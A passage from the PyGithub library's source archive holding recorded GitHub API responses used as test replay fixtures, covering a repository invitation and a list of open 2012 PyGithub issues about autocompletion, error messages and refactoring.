PyGithub","created_at":"2012-05-26T09:50:02Z","id":"2793179","html_url":"https://gist.github.com/2793179"},{"updated_at":"2012-04-26T13:20:53Z","url":"https://api.github.com/gists/11cb445f8197e17d303d","comments":0,"public":false,"git_pull_url":"git://gist.github.com/11cb445f8197e17d303d.git","git_push_url":"git@gist.github.com:11cb445f8197e17d303d.git","files":{"FairThreadPoolPool.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/11cb445f8197e17d303d/0f72c6fe50eb011eacb4e39fa613bdfe2f7a0c51/FairThreadPoolPool.cpp","size":7779,"filename":"FairThreadPoolPool.cpp","language":"C++"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"FairThreadPoolPool.cpp","created_at":"2012-04-26T13:20:53Z","id":"11cb445f8197e17d303d","html_url":"https://gist.github.com/11cb445f8197e17d303d"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetInvitations.txt0000644000175100001660000001632714756101563026217 0ustar00runnerdockerhttps GET api.github.com None /user/repository_invitations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', 'W/"35a3bb21f0a95b0eb36e9c82b157f5da"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('transfer-encoding', 'chunked'), ('date', 'Thu, 27 Jun 2019 11:53:53 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1561640033')] [{"node_id":"MDIwOlJlcG9zaXRvcnlJbnZpdGF0aW9uMTcyODUzODg=","repository":{"deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","private":false,"owner":{"disk_usage":16692,"total_private_repos":5,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"blog":"http://vincent-jacques.net","followers":13,"location":"Paris,France","type":"User","email":"vincent@vincent-jacques.net","private_gists":5,"owned_private_repos":5,"company":"Criteo","html_url":"https://github.com/jacquev6","node_id":"MDQ6VXNlcjMyNzE0Ng==","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"bio":"","public_gists":1,"collaborators":0,"name":"VincentJacques","url":"https://api.github.com/users/jacquev6","created_at":"2010-07-09T06:10:06Z","public_repos":10,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"login":"jacquev6"},"tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","fork":true,"releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","html_url":"https://github.com/jacquev6/PyGithub","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","name":"PyGithub","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","full_name":"jacquev6/PyGithub","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","id":129349732,"keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","description":"TypedinteractionswiththeGitHubAPIv3","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","url":"https://api.github.com/repos/jacquev6/PyGithub","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers"},"permissions":"write","url":"https://api.github.com/user/repository_invitations/17285388","created_at":"2019-06-27T11:47:00Z","expired":true,"invitee":{"following_url":"https://api.github.com/users/foobar-test1/following{/other_user}","gists_url":"https://api.github.com/users/foobar-test1/gists{/gist_id}","organizations_url":"https://api.github.com/users/foobar-test1/orgs","url":"https://api.github.com/users/foobar-test1","events_url":"https://api.github.com/users/foobar-test1/events{/privacy}","html_url":"https://github.com/foobar-test1","subscriptions_url":"https://api.github.com/users/foobar-test1/subscriptions","avatar_url":"https://avatars3.githubusercontent.com/u/52282986?v=4","repos_url":"https://api.github.com/users/foobar-test1/repos","received_events_url":"https://api.github.com/users/foobar-test1/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/foobar-test1/starred{/owner}{/repo}","site_admin":false,"login":"foobar-test1","node_id":"MDQ6VXNlcjUyMjgyOTg2","type":"User","id":52282986,"followers_url":"https://api.github.com/users/foobar-test1/followers"},"inviter":{"disk_usage":16692,"total_private_repos":5,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"blog":"http://vincent-jacques.net","followers":13,"location":"Paris,France","type":"User","email":"vincent@vincent-jacques.net","private_gists":5,"owned_private_repos":5,"company":"Criteo","html_url":"https://github.com/jacquev6","node_id":"MDQ6VXNlcjMyNzE0Ng==","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"bio":"","public_gists":1,"collaborators":0,"name":"VincentJacques","url":"https://api.github.com/users/jacquev6","created_at":"2010-07-09T06:10:06Z","public_repos":10,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","following":24,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/invitations","id":17285388}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetIssues.txt0000644000175100001660000012525514756101563025164 0ustar00runnerdockerhttps GET api.github.com None /issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('content-length', '43238'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"079a70319db4b8e496afd6236e20f5bb"'), ('date', 'Sat, 26 May 2012 20:16:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442},"title":"Facilitate IDE autocompletion","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","number":27,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/27","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/27","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":4639931,"created_at":"2012-05-18T10:52:29Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"List project(s) using PyGithub","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","number":25,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/25","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/25","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":4452000,"created_at":"2012-05-07T10:49:06Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},"title":"Improve error messages on broken requests","comments":2,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","number":24,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/24","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":4356743,"created_at":"2012-04-30T20:01:20Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework GitTree.recursive","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-19T19:08:18Z","body":"","number":20,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/20","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/20","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3716033,"created_at":"2012-03-19T19:08:18Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework Github.get_gists","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-19T19:04:19Z","body":"In general, when you get a collection, you should get an iterable, and the pagination should be done only if needed. This is mandatory for Github.get_gists","number":19,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/19","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/19","labels":[{"color":"e102d8","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities"}],"id":3715946,"created_at":"2012-03-19T19:04:19Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Take care of _identity","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-14T06:49:31Z","body":"","number":18,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/18","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/18","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3643837,"created_at":"2012-03-14T06:49:31Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Document issue reporting","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T12:09:48Z","body":"","number":17,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/17","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/17","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3628022,"created_at":"2012-03-13T12:09:48Z"},{"repository":{"description":"Python library implementing the full Github API 